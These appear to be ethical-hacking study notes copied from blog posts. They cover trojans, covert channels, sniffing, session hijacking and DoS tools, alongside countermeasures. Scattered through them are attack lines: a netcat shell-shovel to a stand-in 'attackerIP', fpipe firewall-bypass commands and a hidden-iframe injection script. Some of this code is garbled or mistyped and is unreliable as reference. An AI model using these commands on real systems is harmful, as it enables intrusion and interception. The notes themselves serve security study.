Masters Paradise	TCP	40421-40425
NetBus	TCP	12345/12346/20034
Netcat	TCP/UDP	Any

pcAnywhere	TCP	5631/5632
Qbot	TCP	81
Remotely Anywhere	TCP	2000
Timbuktu	TCP/UDP	407
VNC	TCP/UDP	5800/5900

Goals	Credit Card Data	Passwords	Insider info	Data Storage

APT: Advanced Persistent Threat: Part of nation state attack/company targeted b/c of sensitive data

Examples: Stuxnet | Attack against RSA: 2011

Trojan Infection Mechanisms: Spreading

P2P	IM	IRC	Email attachments	Physical access	Browser bugs	Freeware

Well-Known Trojan Tools

Tini	Small backdoor: 3Kb: Win: Gives anyone who connects remote cmd prompt • Listens TCP: 7777: Disadvantage: Always listens on port/can't be changed • Netsecurity.nu/toolbox/tini
Qaz	Searches/renames Notepad.exe: Copies itself to machine as Notepad.exe • Backdoor payload: WinSock: Port 7597 • When notepad run: Exe's/calls original file to avoid detection

Some tools provide access over a VNC connection: WinVNC/VNC Stealer

Remote-Access: Can be legitimate: pcAnywhere/Win Term programs/Citrix GoToMyPC useful

2 components:

1. Server exe runs on victim machine
2. Client app runs on attacker machine
   - After install: Opens predefined port on victim: Connects to client SW attacker runs

NetBus	Old: Similar to RATs like Poison Ivy/Shady Rat • 1st written: Late 90's: Carl-Fredrik Neikter ○ 1.6-7: Server portion of Trojan named patch.exe: Default: 483KB • When executed: Copies self to Win dir/creates file called KeyHook.dll • Server opens 2 TCP ports: 12345 | 12346 ○ Can attempt to listen on 12345 via Telnet: Will respond ver # ○ Default ports can be changed **Server contacted by attacker: Creates 2 files** **1. Hosts.txt:** Lists hosts that have contacted server if logging enabled **2. Memo.txt:** Remote usr can leave memo for self ○ Can redirect input to specified port w/other IP ○ Can send email when run 1st time
Sub7	**Divided 2 parts:** 1. Client attacker runs on machine 2. Server that must be installed on victim machine ○ Can display fake error msg ○ When run: Trojan copies self to Win dir w/original name of file run from Copies Watching.dll to Win\Sys dir • TCP ports: Default: 6711 | 6712 | 6713

	• Also maybe: 1243 | 2773 | 6776 | 7000 | 7215 | 27374 | 27573 | 54283
Poison Ivy	Enables control: Performs host of activities • Access to local file sys: Browse/create/rm dirs/edit registry • May be able to hide into alternate data stream • Embeds into Registry: Start on reboot • Connect to servers through client GUI: Offers encryption
GhostRat	Turn on cam/audio/built-in internal mics to spy on people • Delivered by PDF: Deployed on more than 1,000 machines

Others:

Let me rule	Remote-access: Delphi: TCP 26097
Jumper	Win: RC4 encryption/code injection/encrypted comm
Phatbot	Variant of Agobot: IRC bots: Can steal personal info: • Email addrs/cc/licensing • FWD's info using P2P • Can kill AV/SW FW products: Susceptible to 2ndary attack
Amitis	Opens TCP: Complete control
Zombam.B	Enables browser use to access machine: 80 • Written w/Trojan gen tool: HTTPRat • Attempts to term various AV/FW processes
Beast	One of 1st to use DLL injection/reverse connections to victims • Injects self into existing processes • Not visible w/process viewers: Harder to detect/unload • Default: TCP 6666
MoSucker	VB: Access to local file sys: • Browse/create/rm dirs/edit registry

Distributing Trojans: Social media/eng to aid in deployment

Wrapper: AKA: Binders/Packagers/EXE binders: Program used to combine 2/more exe's into 1 program

- When install: Malicious code loaded along w/legitimate program
- Takes programs/binds to legitimate apps

Well-known wrappers:

EliteWrap	Built-in capability: Redundancy checks: Files properly wrapped • Full install/create install dir • Pack file to make program wait to process remaining files • Hidden installs
Saran Wrap	Designed to hide Back Orifice: Can wrap w/other into standard Install Shield
Advanced File Joiner	Combines 2/more programs: Can encrypt in attempt to foil AV's
Teflon Oil Patch	Binds Trojans to any files specified in attempt to defeat detection
Restorator	Not designed as hacking tool: Can be used to mod/add/rm resources • Including: Txt/imgs/icons/sounds/vids/ver/dialogs/menus Can add Trojan to package such as screensaver before fwded to victim
PGMP	**Pretty Good Malware Protection** • Allows taking even known samples of malware: Repacks them • Uses high lvl encryption to prevent detection

Trojan Tool Kits: Creates Trojans w/no exp/skill

Trojan Horse Construction Kit	CLI: Enables construction of Trojans w/destructive behaviors Example: Destroying partition tables/MBR's/HDD
Senna Spy	VB to compile: Generated source code: • File transfer/exe DOS cmds/Keyboard control/list control processes
Stealth	Not construction kit: Designed to make Trojans harder to detect • Changes file • Adds bytes/changes strs/split/combine files Includes fake vers of netstat

Steps to deploy usually include:

1. Create/possess
2. Mod existing: No AV detection
3. Bind w/legitimate file: EXE/PPT/PDF/XLS/other
4. Transmit wrapped Trojan to victim

Covert Communication

TCSEC: Trust Comp Sys Eval Criteria: One of 1st docs to examine concept of covert attacks

Divides covert chan attacks into 2 categories:

- **Covert timing channel: Diff to detect: Sys times/func: Alters component/mod resource timing**

1. **Covert storage channel attacks**: 1 process to write data to storage area/another to read

Covert channel: Moving info through comm chan/protocol in manner in not intended for use

How? TCP/IP gives lots of opportunity for misuse: Primary protocols for covert comm includes:

IP	TCP	UDP	ICMP

ICMP: RFC 792: Provides error msging/best path info/diagnostic msgs

Packet fmt: ICMP header:

Type	Code	Checksum
	Identifier	Sequence #
Optional Data		

Type: Set to 8 for request | 0 for reply

Code: Set to 0

Identifier: 2-byte field: Stores # generated by sender: Used to match ICMP echo w/Echo Reply

Seq #: 2-byte field: Stores addl # used to match ICMP Echo w/Echo Reply

- Combo of values: Identifier/Seq #: ID specific Echo msg

Optional Data:

- What's here depends on sys
- Linux fills w/numeric values by counting up
- Win sys progresses through alphabet
- Designed to be filler: Helps meet min packet size needed to be legal packet

Basic ways ping can be manipulated:

-p Allows usr to specify optional data

- Usr could enter anything they wanted into field

Example: ping -p 2b2b2b415448300 192.168.123.101

Evaluating w/Wireshark shows:

+++AtH0	Value embedded into packet: ASCII equiv of above • Could be used for DoS that forces victim to respond w/str +++ATH0

Options field in IP/TCP headers:

TCP ACK: Networks vuln to TCP ACK attacks if packet filter used:

1. **3-step handshake:** Ensures both sys ready to comm
2. **Exchange of control info:** Specifies max segment size
3. **Seq #'s:** Indicates amt/position of data being sent
4. **ACKs:** Indicates next byte to be expected
5. **4-step shutdown:** Ending session

SYN's occur only at beginning of session: ACKs happen tons of times:

- It's why packet filtering builds rules on SYN segments
- Assumption on FW admin's part: ACK's only part of established session
- Easier to config/reduces workload
- To bypass SYN blocking rule: Might attempt TCP ACK as covert comm chan

Tools: ACKCMD: Embed data inside TCP ACK packet

- Stateless FW's don't catch: Traffic would go undetected

Covert Comm Tools:

- Port Redirection
- For packet to reach dest: Must have IP/port #
- Port range: 0-65535
- Most admins block ports not required: Most common way to deal w/is port redirection

Port redirection: Works by listening on certain ports then fwds packets to 2ndary target

Some tools for port redirection include:

Datapipe	Fpipe	Netcat

- Tools protocol ignorant: Don't care what you pass
- Simply act as pipe to more data from point A to B

<table>
<tr><td><b>Datapipe</b></td><td>Linux/FreeBSD/Win32 port redirection
<b>Syntax:</b> datapipe <localport> <remoteport> <remotehost>
• After traffic redirected: Can be moved through FW
• Null session can be set up using traffic being redirected</td></tr>
<tr><td>Fpipe</td><td>Win: Allows attackers to bypass FW restrictions
<b>Syntax:</b> C:\&gt; fpipe -l 69 -r 53 -u 10.2.2.2 || C:\> fpipe -I localhost PUT moostuff.txt
If attacker has TFTP server running: 10.2.2.2
• Cmds would allow them to move moostuff.txt doc through victim FW
• -l 69 Listen port 69
• -r Remote port traffic is redirected to
• -u UDP</td></tr>
</table>

Netcat: CLI util: UNIX/Win: Can build/use TCP/UDP connections

- Useful for port redirection; numerous tasks
- Reads/writes data over those connections until closed

Netcat Switch	Purpose
nc -d	Detach from console
nc -l -p <port>	Create listening TCP port: • -u UDP
-e <program>	Redirect stdin/stdout from program to Netcat
-w <timeout>	Set timeout before Netcat auto quits
program | nc	Pipe output of program to Netcat
nc | program	Pipe output of Netcat to program
-h	Help options
-v	Verbose mode
-g or -G	Specify source routing flags • -g Gateway source routing • -G Numeric source routing
-t	Telnet negotiation DON'T/WON'T
-o <file>	Hex dump traffic to file
-z	Port scanning

If Netcat avail on victim sys: Can be used like Datapipe/Fpipe

- Can shovel shell directly back to attacker sys
- Attacker would need to set up listener on sys: nc -n -v -l -p 80
- **Next:** Attacker enters following from victim's sys: nc -v -z -w1 attackerIP 80 -e 1-1024
    - Port scan target IP
    - -w1 Wait 1 sec before timing out | 1-1024 Ports to scan

Other Redirection/Covert Tools: Can use TCP/UDP/ICMP:

Loki	1996: Phrak: POF designed to show how ICMP traffic can be insecure • Named after Norse god of deceit/trickery • Not designed as compromise tool • Backdoor/covert: Provided method to move info from 1 sys to another • Not encrypted • Probably more ICMP reqs/than replies • Should be 1 ping reply for each req • ICMP seq # always static: Blocking ICMP will prevent Loki from using
ICMP Backdoor	Advantage of using only ping reply packets (unlike Loki) • Doesn't pad up short msgs/divided large msgs • Some IDS can easily detect traffic/Fake ICMP packets
007Shell	Extra step of rounding out each packet to ensure it has 64 bytes • Appears as normal ping
ICMPSend	Uses ping packets to covertly exfiltrate data
Reverse WWW Tunneling Shell	POF Perl: Dev for paper "Placing Backdoors through FW's" • Allows comm w/shell through FW's/proxy servers by imitating web traffic

	• Run's on victim at preset time daily • Internal server attempts to contact external client to pick up cmds • Uses HTTP/resembles internal device req content from web server
AckCmd	Provides cmd shell on Win sys • Comms using only TCP ACK segments • Client capable of directly contacting server ○ Through rtr w/ACL in place to block traffic

Keystroke Logging/Spyware: Not truly covert comm, but allows covert monitoring

SW ver sets bet OS/keyboard:

- May send logging program wrapped same way Trojan would be
- Once install: Logger can op in stealth: Hard to detect unless know what to look for
- HW keystroke loggers invis to OS/FS: Outside of phys presence

Employers: Make sure policy outlines use/how employees informed

- **CERT: Computer Emergency Response Team:** Recommends warning banner

HW Keyloggers: Must be retrieved to access stored data

Example: Keyghost: Small adaptor on cable: No external power/lasts indefinitely

SW Keylogger examples include:

IKS SW	Win: Runs silently at lowest OS lvl: Hard to find after program/log file renamed
Ghost	Win: Records keystrokes to encrypted log file: Can be sent by email
Spector Pro	Captures keystroke activity/email/chat convo/IM's
FakeGINA	Win: Designed to capture login usrnames/passwds entered at startup • Intercepts comm bet Winlogin/normal **GINA: Graphical ID/Auth**process Captures successful logins/writes to txt file **Normally**: Winlogin relies on GINA to present standard Win login dialog box • FakeGINA subverts this process • Sets on top of **MSGina**: Intercepts comm bet Winlogin/OS • Writes captured info to file located in sys32 dir • Installed by running regedt32/replacing MSGina.dll entry in Registry • When sys rebooted: FakeGINA starts to capture passwds
Eblaster	Captures activity: Orgs info/sends reports to email at specified intervals

Spyware: SW installed w/out consent: Hidden from view: Monitors computer/net use:

- Config to run in BG on startup

Usually 1 of 2 purposes:

1. **Surveillance:** Determine buy habits/likes/dislikes: Report demographics to paying marketers
2. **Advertising**: Targeted ads spyware vendor has been paid to deliver

Many times: Spyware sites/vendors use droppers to drop spyware components on victim machine

Dropper: Another name for wrapper: Standalone program drops diff types of standalone malware to sys

Similar to Trojans in sense of many ways of becoming infected:

- Code usually hidden in Registry run keys

- Win Startup folder
- Windows **load=/run=** lines of **Win.ini**
- **Shell= System.ini**

Well-known antispyware tools:

Adaware	MS Anti Spyware	HijackThis	Pest Patrol	Spy Sweeper	Spybot S&D	Spyware Blaster

Trojan/Backdoor Countermeasures:

- Suspicious ports/processes/files/folders/registry entries/drivers/services/startup programs

Scanning Registry changes works diff than file sys change: Nonhooking usr mode code

- Win kern tracks processes by assigning unique EPROCESS structure
- Resides in nonpaged pool of kern mem

Tools:

Process Monitor	Combo Filemon/Regmon tools: Can record temp info • Name of process making a change • Can specify filters to narrow capture criteria
Task Manager	Current running processes: Win
Ps	Current running processes: UNIX/Linux
Netstat	Active TCP connections/ports machine listening on • Ethernet stats/IP routing table/IPv4 stats/etc netstat -an Running list of open ports/processes
CurrPorts	Win: List of currently running processes on local machine
TCPView	Running processes
Process Viewer	Detailed info about running processes: Mem/threads/module use
IceSword	Process in Win sys/ports each one listen on • Can be used to find Trojans injected into other processes
Regshot	Open source standalone app capable of showing changes to file sys/Registry • Compares diff bet 2 snapshots

Netstat Switches

Switch	**Function**
-a	All connections/listening ports
-r	Routing table
-n	Don’t convert addrs/port #’s to names
-s	Per-protocol stats for IP/ICMP/TCP/UDP
-p <protocol>	Connection info for specified protocol
-e	Ethernet stats/can be combined w/-s
Interval	New set of stats each interval (seconds)

From <https://www.piratemoo.net/moosings/ethical-hacking/trojansbackdoors/>

Post 7

Friday, January 25, 2019 12:24 AM

SNIFFERS/SESSION HIJACKING/DOS/DDOS

April 21, 2017 Moo Comments 0 Comment

Sniffers: Can place hosting sys network card into promiscuous mode: Receive all data: Not just packets addr to it

Legacy: Hubs: See all traffic in collision domain: Sniffing: Passive

Switches: Active: Segmented traffic: No longer possible to monitor all traffic by promiscuous mode device to single port

Port mirroring: Gets around segmentation traffic limitations: AKA **SPAN on Cisco** switches

Spanning port: Allows usr to not just see traffic destined for specific ports: ALL traffic fwded by switch

- Config so data fwded to any port on switch: Fwded to SPAN port: Sniffers/IDS like Snort
- **RFC 2613:** Methods for managing/config SPAN ports in products

Sniffers: DLL layer: Can grab whatever seen on wire/record for later: See all data contained in packet

Passive Sniffing	Hub (legacy: hubs no longer used): • Traffic sent to all ports • Sniff/wait for someone on same collision domain to start sending/receiving data **Collision domain:** Logical area of network where 1/more packets can collide w/each other • Place usrs in 1 single shared collision domain
Active Sniffing	Attacker must be on local network/prominent intermediary point (Border rtr) • Switch limits traffic sniffer can see: Broadcasts packets specific addr to attached sys • Traffic bet 2 other hosts normally not seen by attacker • Would be fwded to switch port sniffer plugged into

2 attempts to overcome switch limitations:

- **MAC flooding**
- ARP poisoning

ARP: Address Resolution Protocol: Similar to DNS:

DNS	**ARP**
Resolves known domain names to unknown IP	Resolves known IP to unknown MAC addr
2-Step protocol	2-Step protocol
	2 Msg Types: **1. ARP request:** Who has this IP? **2. ARP reply:** I have IP: MAC is X

More on Poisoning/Flooding

Involves: Phony ARP req/replies to switch/devices: Attempts to steer traffic to sniffing sys

- Bogus ARP packets: Stored by switch that receive packets
- Switch places info in ARP cache: Maps attacker to spoofed device
- MAC addr being spoofed: Usually rtr: Capture all outbound traffic

Process:

1. Attacker has rtr IP mapped to their MAC
2. Victim attempts to connect to addr outside subnet
3. Victim has ARP map showing rtr IP mapped to bogus MAC: Phys packets fwded through switch to attacker
4. Attacker fwds traffic to rtr

After: MITM: Passing on packets to true dest/scanning/recording packets for session replay

- IP fwding: Critical: W/out: Attack just DoS

IP Fwding Config

OS	Cmd	Syntax
Linux	/proc: 1=Enabled, 0 =Disabled	echo 1 >/proc/sys/net/ipv4/ip_forward
Win XP/Vista/7/03/2012	**Edit Registry value:** 1=Enabled, 0=Disabled	**IPEnableRouter** Location: HKLM\ SYSTEM\CurrentControlSet\Services\ Tcpip \Paramaters Data type: REG_DWORD Valid range: 0-1 Default value: 0 Present by default: Yes

Tools: ARP spoofing: Win/Linux

Arpspoof	Part of Dsniff: Redirects packets from target sys on LAN intended for another host on LAN by forging ARP replies
Ufasoft Snif	Sniffer designed for capturing/analysis of packets going through LAN
WinARPAttacker	Can scan/attack/detect/attack machines on LAN
Ettercap	Used for ARP poisoning/passive sniffing/protocol decoder/packet grabber Menu driven: • **ettercap Nzs** Start CLI • **-N** Don't perform ARP storm for host detection • **-z** Passively sniff IP traffic • **-s** Output packets to console in fmt similar to TCP dump • **q** Exit • **-c** Can be used to capture usrnames/passwords • **N** Noninteractive mode • **z** Silent mode to avoid ARP storms • **a** Used for ARP sniffing on switched networks -s:ettercap -Nza <srcIP><destIP><srcMAC><destMAC>
Cain/Abel	ARP poisoning/Win enumeration/sniffing/cracking
WINDNDSSpo	DNS ID spoofer for Win

of	

MAC flooding: Attempting to overload switch CAM table

- CAM table fills: Switch can’t hold table entries: Fail open state
- All frames flood out all ports
- Allows attacker to then sniff traffic: Can draw attn
    - Should be placed on 2nd sys: 1 doing flooding will generate lots of packets: May not be able to capture

Tools

EtherFlood	Floods switched network w/Eth frames w/random HW addr
SMAC	MAC spoofing: Allows spoofing MAC: Change MAC to other value/manufacturer
Macof	Floods LAN w/false MAC addr in hopes of overloading switch

Other techniques w/ARP poison/flood used:

DHCP starvation: Exhaust all possible DHCP addr

- Gobbler/Yersinia request/use up all avail DHCP addr
- Can establish rogue DHCP server w/GW reflected on own IP
- Forces traffic to be routed via attacker: Interception of data

Defenses:

1. **Port security:** Limits # of MAC’s on port Limit by specific MAC addr as well

3 modes:

1. **Restrict**: Drop frames/generate SNMP alerts
2. **Protect:** Silently drop frames
3. **Shutdown:** Error disables port

1. **DHCP snooping:** Working w/info from DHCP server to
    1. Track phys loc of hosts
    2. Make sure hosts only use IP’s assigned
    3. Only auth DHCP servers accessible

ARP not only process spoofed: DNS also

DNS spoofing: DNS server given info about name server that it thinks legitimate

- Can send usrs to bogus site/re-route email/redirection
- Data from DNS server used to determine dest [poisoning]

Spoofing attacks: Trick someone into thinking something legitimate happening

Tools for sniffing

Wireshark

3 main views:

1. **Summary:** 1-line-per-packet
2. **Detail**
3. **Hex:** Raw data: 3 sections:
    1. Left: Offset of 1st byte of line
    2. Middle: Hex value of each portion of headers/data
    3. Right: Translation of hex into ASCII [usr/pass]

Impt feature: Capability it has to set up filters to view specific traffic types

Filters can be defined in 1 of 2 ways:

1. Capture: Predefine traffic captured
2. Display: After traffic captured

Other sniffing tools

CACE Pilot	Deep packet inspection
OmniPeek	Commercial sniffer/Win
Dsniff	Collection of tools: Passive monitoring
TCPdump	Linux: Header info
Windump	TCPdump port to Win: Deep packet header info

Sniffing/Spoofing Countermeasures

Build static ARP entries	Config on lots of devices: Not feasible
Port security	**Cisco: DAI: Dynamic Arp Inspection:** Validates ARP traffic • Can intercept/record/discard ARP packets w/invalid IP-to-MAC bindings • Protects against MITM
IP Source Guard	**Restricts IP traffic on untrusted L2 ports** • Helps prevent IP spoofing: Useful in guarding against DNS poisoning/spoofing
DNSSEC	**DNS Security Extensions:** Digitally signs all DNS replies to ensure validity: RFC 4035

More feasible: Port sec/DHCP snooping

- **Port sec**: Lock down L2 infrastructure
- **IPsec/VPN/SSL/PKI**: More diff to sniff valuable traffic
- **Tools:** Arpwatch: Keeps track of Eth/IP pairings/reports unusual changes

Session Hijacking

Hijacking: Active process that exploits weaknesses in TCP/IP/network comm: Contains sniffing component

- Goes further: Actively injects packets into network in attempt to take over an auth connection

2 areas of attack when considering session hijacking:

1. **OSI Transport Layer attacks:** Focuses on interception of packets during data transmission
2. **OSI App Layer attacks**: Focuses on obtaining/calc session ID's

Spoofing: Pretending to be someone else

Hijacking: Taking over active connections

Transport Layer Hijacking:

Point: Get auth to an active sys: Provides attacker w/auth session to exe cmds

For transport layer hijacking to be successful:

1. ID/find active session
2. Predict seq #
3. Take 1 party offline
4. Take control of session

Process easier when attacker/victim on same segment of network

If attacker/victim not on same segment: Blind seq # prediction performed

- Seq/ack #'s unknown

Circumvention: Several packets sent to server to sample seq #'s

- If activity blocked at FW: Probe fails
- Random # seq generation makes it difficult to predict accurately

Understanding TCP:

- Every byte of data transmitted must have a seq #
- Used to keep track of data/provide reliability
- 1st step of 3-way handshake must include source seq # so that dest sys can use it to ack bytes sent
  - Client sends packet to server to start FTP session
  - B/C it's the start of a TCP session: SYN flag set

MSS: Max Segment Size: Used to inform server that max amt of data that can be sent w/out fragmentation

- Server responds to client's request to start TCP session: SYN/ACK flag are both set
- ACK -> ISN: Initial Seq # +1
- In step 3 client performs last step by sending packet back to server w/ACK flag set + ACK value
  - 1 more than server's ISN

Difficulty in predicting seq #'s depends on OS: Some do a better job at being random than others

Attacker: Needs to wait until usr has provided a passwd/authenticated

- Allows them to steal trust: It doesn't exist before auth has occurred

Seq prediction: Played a big role in Mitnick's 94′ Xmas Day attack against Tsutomu Shimomura

Take 1 of the Parties Offline

- W/seq # in hand: Attacker can take usr connected to server offline: DoS/src routing/send reset to usr
- This activity can cause ACK storms
- Attempting to inject packets? Racing against usr to get their packets in 1st

Take Control of the Session: As long as attacker maintains session: Auth connection to server

- Can be used to exe cmds on server to further leverage

Application Layer Hijacking:

Session Sniffing: 1 way which an app layer attack can be launched: May use a sniffer/tool to capture session token/look for token session ID (SID)

Example: Burp Suite/captured auth to an insecure site:

```
GET /moo/index.html HTTP/1.1
Host: moo.com
Accept: text/html, application/xhtml+xml, */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Referrer: http://www.moo.com/main1.htm
```

```
Cookie: JSESSIONID=user05
Authorization: Basic Y2VoOmhhY2t1cg==
```

JSESSIONID: Set to a value of user05: Attacker simply attempts to use valid token to gain unauth access

Predictable Session Token ID

- Many web servers use a custom alg/predefined pattern to gen session ID's
- Greater the predictability of a session token: Weaker it is/easier to predict
- If multiple tokens can capture ID's/analyze pattern: May be able to predict session ID

Example:

```
JSESSIONID =jBEXMZE20137XeM9756
```

Multiple token captures may expose patterns in their values:

```
JSESSIONID =jBEXMZE20137XeM9756;
JSESSIONID =jBEXMZE20137XeM9757;
JSESSIONID =jBEXMZE20137XeM9758;
JSESSIONID =jBEXMZE20137XeM9759;
JSESSIONID =jBEXMZE20137XeM9750;
```

MITM: Occurs when attacker can get in bet client/server/intercept data being exchanged

- Allows attacker to actively inject packets into network in attempt to take over auth connection

Man-in-the-Browser Attacks:

- Similar to MITM but attacker must 1st infect victims computer w/Trojan
- Usually gets malware onto victim's machine through some form of trickery/deceit
- Malware just waits for victim to visit targeted site: Can invisibly mod transactions info like amt/dest
- Can create addl transactions w/out usr knowing

Client-Side Attacks: Target the vuln of the end usrs/exposure of their sys

Many sites supply code that web browser must process

Can include:

- XSS/Trojans/Malicious JS (can be hidden by obfuscating code)

Example:

```
Function convertEntities (b) {var d,a;d=function(c) {if(/&[^;]+;/. test(c)) {var
f=document.createELement("div") ;f.innerHTML=c;return
!f.firstChild?c:f.firstChild.nodeValue}return
c{ ;if (typeof b==="string") {return d(b)} else{if (typeof b==="object")
{ for(a in b) { if (typeof
b[a] ==="string") {b[a] =d(b[a])}}}} return b}; var
_0x4de4= ["\x64\x20\x35\x28\x29\x7B\x62\x20\x30\x3D\x32\x2E\x63……….
```

Above used to launch Iframe attack: Obfuscates to following:

```
function MakeFrame(){
var el = document.CreateELement("iframe");
document.body.appendChild(el);
el.id – 'iframe';
el.style.width ='1px';
el.style.height = ‘1px’;
el.src = ‘http://moo.com/frame.php‘
}
setTimeout (MakeFrame, 1000);
```

Session-Hijacking Tools:

Ettercap

- Linux/BSD/Solaris 2.x/Win/OS X/BT
- Will ARP spoof targeted host so that any ARP req’s for target IP will be answered w/sniffer’s MAC
- Allowing traffic to pass through sniffer before Ettercap fwds it on
- Allows Ettercap to be used as a MITM tool

Ettercap uses 4 modes:

IP	Packets filtered based on source/dest
MAC	Packet filtering based on MAC addr
ARP	Poisoning is used to sniff/hijack switched LAN connections [full-duplex mode]
Public ARP	Poisoning used to allow sniffing of 1 host to any other

Features a number of plug-ins including:

autoadd	Auto add new victims in target range
chk_poison	Check if poisoning had success
dos_attack	Run DoS against an IP
find_conn	Search connections on switched LAN
find_ip	Search unused IP addr in subnet
gw_discover	Try to find LAN GW
isolate	Isolate host from LAN
pptp_pap	PPTP: Forces PAP auth
pptp_reneg	PPTP: Forcess tunnel renegotiation
rand_flood	Flood LAN w/random MAC addrs
repoison_arp	Re-poison after broadcast ARP
smb_clear	Tries to force SMB clear-txt auth
smb_down	Tries to force SMB to not use NTLM2 key auth
stp_mangler	Become root of a switches spanning tree

Other well-known session hijacking tools:

Hunt	○ Watch/hijack/reset TCP connections ○ Meant to be used on Eth/active mechanisms to sniff switched connections ○ Selective ARP relaying/connection synch after attacks
TTY Watcher	Solaris: Can monitor/control usr’s sessions
IP Watcher	○ Commercial session hijacking tool ○ Monitor connections/active countermeasures for taking over session
T-Sight	○ Hijack any TCP sessions on network ○ Monitor all network connections in real time ○ Observe composition of any suspicious activity that takes place

Some tools that can be used for app layer session hijacking:

Firesheep	○ 3rd-party add-on: Sniff usrnames/passwds to common websites like FB ○ Can be used to access vuln web apps
Hamster	Sidejacking tools used to hijack app auth
Session Thief	HTTP session cloning by cookie stealing
Tamper IE	IE Browser Helper Object: Allows tampering of HTTP requests

Preventing Session Hijacking

2 main mechanisms:

1. Prevention
2. Detection

Main way to protect against hijacking is encryption

- Limit connections that can come into network
- Config network to reject packets from Internet that claim to originate from local addr
- Use Kerberos/IPsec/Use more sec protocols
- Attackers have figured out new ways to bypass HTTPS:
- SSLStrip/CRIME/BEAST/Lucky13/BREACH

DoS/DDoS/Botnets [DoS targets availability]

Types of DoS

Categorized into 3 broad categories:

1. BW attacks
2. SYN flood attacks
3. Program/app attacks

BW Attacks: Blocking comm compatibility of a machine/group of machines to use network BW

- If attacker can saturate the BW: Can effectively do this

Examples:

Smurf	■ Exploits ICMP ■ Sends spoofed ping packet to broadcast addr of target w/source addr as victim ■ Multi-access network: Many sys may reply: Results in victim being flooded in pings Prevent in IOS? no ip directed-broadcast
Fraggle	○ Similar to Smurfs: Goal: Use up BW resources ○ Fraggle uses UDP echo packets ○ Sent to bounce network broadcast addr ○ UDP port 7 popular: Echo port/will generate addl traffic ○ Even if port 7 closed: Victim will still be hit w/ICMP unreachable msgs
Chargen	○ Linux/UNIX: Sometimes have echo port 7/Chargen port 19 ○ Echoes out ○ Generates complete set of ASCII chars over/over as fast as possible ○ Attacker uses forged UDP packets to connect Echo service sys to Chargen service on another ○ Bet them: 2 sys can consume all avail BW

SYN Flood Attacks: Directing flood of traffic at individual service on a machine

- Unlike BW attack: SYN flood can be a type of resource starvation attack

- It’s attempting to overload resources on a single sys until it hangs/crashes
- Target availability: Focus on individual sys

SYN flood	○ Disrupts TCP by sending large # of fake packets w/SYN flag set ○ Large # of half-open TCP connections fills buffer on victim sys ○ Prevents it from accepting legitimate connections ○ Sys connected to Internet that provide services: HTTP/SMTP vuln ○ Source IP spoofed in SYN attack

Program/App Attacks: Carried out by causing a critical error on a machine to halt functioning

- Attacker can exploit vuln program/sends large amt of data/malformed packets

Ping of Death	○ Oversized packet illegal: Possible when fragmentation used ○ By fragmenting packet larger than 65,536 receiving sys will hang ○ Or suffer a buffer overflow when fragments reassembled
Teardrop	○ Exploits IP protocol like PoD ○ Sends malformed packets w/fragmentation offset value tweaked ○ Receiving packets overlap ○ Victim doesn’t know how to process overlapping fragments/crashes
Land	○ Sends packet w/same source/dest port/IP addr in TCP SYN packet ○ Receiving sys typically doesn’t know how to handle these malformed packets ○ CPU usage pushed up to 100%

Phlashing attack: AKA Bricking a system: Permanent DoS attack

DDoS: Distributed Denial of Service

- First occurred around 2000 when first DDoS tools seen
- Moved to replace vanilla DoS attacks
- February 2000: Yahoo!/Amazon/CNN/eBay became 1st prominent victim of DDoS
- DDoS uses agents/handlers

2 phases:

1. Pre-attack: Attacker must compromise computers scattered across net/load SW to aid it
2. Actual attack: Instructs masters to comm to zombies to launch attack

Allows attacker to maintain distance from actual target

- Can use master to coordinate attack/wait for right moment
- Master sys consume little BW/processing power: Usually not noticed

Components of DDoS attack include SW/HW:

Client SW	Used by attacker to launch attacks: Client directs cmd/control packets to sub hosts
Daemon SW	○ SW running zombie receives incoming client cmd packets/acts on them ○ Process responsible for actually carrying out attack

2nd piece needed: HW:

Master	Sys from which client SW executed
Zombie	Subordinate sys exe’s daemon process
Target	Object under attack

DDoS Tools

TFN	○ Tribal Flood Network: ○ 1st publicly avail UNIX based DDoS tool ○ Can launch ICMP/Smurf/UDP/SYN flood attacks ○ Master usrs UDP:31335 | TCP:27665 ○ Client connects to port 27665 master expects passwd to be sent before returns data ○ Uses ICMP for comm bet handler/agents
Trinoo	○ Allows usr to launch coordinated UDP flood to victim’s computer ○ Victim overloaded w/traffic ○ Uses UDP for comm bet handler/agents
Stacheldraht	○ Combines Trinoo/TFN features ○ Uses TCP/ICMP for comm bet handlers/agents ○ Difference is use of Stacheldraht’s encryption ○ Control accomplished using client that uses symmetric key encryption for comm bet self/handler ○ Default: TCP: 16660/650000
TFN2K	○ Allows for random ports to be used for comm ○ Spoofs true source of attacks by hiding real IP
WinTrinoo	○ Can use Win sys as zombies ○ UDP: 34555/35555
Shaft	○ Similar to Trinoo: Seq # for all TCP packets 0x28374839
Mstream	○ DDoS uses spoofed TCP packets w/ACK flag set to attack target ○ Doesn’t use encryption ○ TCP: 6723 | UDP:7983 ○ Access to handler passwd protected
Trinity	○ TCP: 6667 | Backdoor component listens on TCP: 33270 ○ Capable of launching 7 types of flooding attacks ○ Including UDP/fragment/SYN/RST/ACK/etc..

Botnets: Collection of zombies controlled by attacker

- Commonly designed to make money
- May be used to send spam/install Trojans/attempt pump/dump stock manip/extortion
- Bot herder starts propagation process/spreads malware to unprotected computers
- Once infected: Bots may scan/infect other unprotected PC’s: Adds more zombies
- Controlled by: IRC/P2P networks/C&C: Command & Control/Fast flux
- Used b/c individual nodes can be shut down
- Allows IP’s to be swapped out quickly/makes harder to shut down botnet

Well-known botnets

Zeus	Citadel	Storm	Mariposa	Rustock	Silentbanker

Common Banking Trojans:

TAN Grabber	○ Intercepts transaction auth #/replaces w/invalid # used by client ○ Attacker uses valid # to perform banking transactions
HTML Injection	Creates fake form fields to be displayed to end usr

Form Grabber	Captures/mods POST requests/alters info

Countermeasures

- SCADA: Supervisory Control/Data Acquisition sys depend on constant connectivity
- IDS can help defend against DoS: May not prevent attack
- Principle of least priv
- Implement BW limitations: Control flow of traffic
- Patch management
- Only allow necessary traffic

From <https://www.piratemoo.net/moosings/ethical-hacking/snifferssession-hijackingdosddos/>

Post 8

Friday, January 25, 2019 12:24 AM

WEB SERVER/WEB APPS/DB ATTACKS P1

April 22, 2017 Moo Comments 0 Comment

Web servers: Historically: 1 of most targeted: Something attacker can always get to

- HTML/HTTP: Standards originally defined Web arch

HTTP: Stateless: ASCII based: TCP: 80: TCP session doesn't stay open while waiting for multiple req/resp

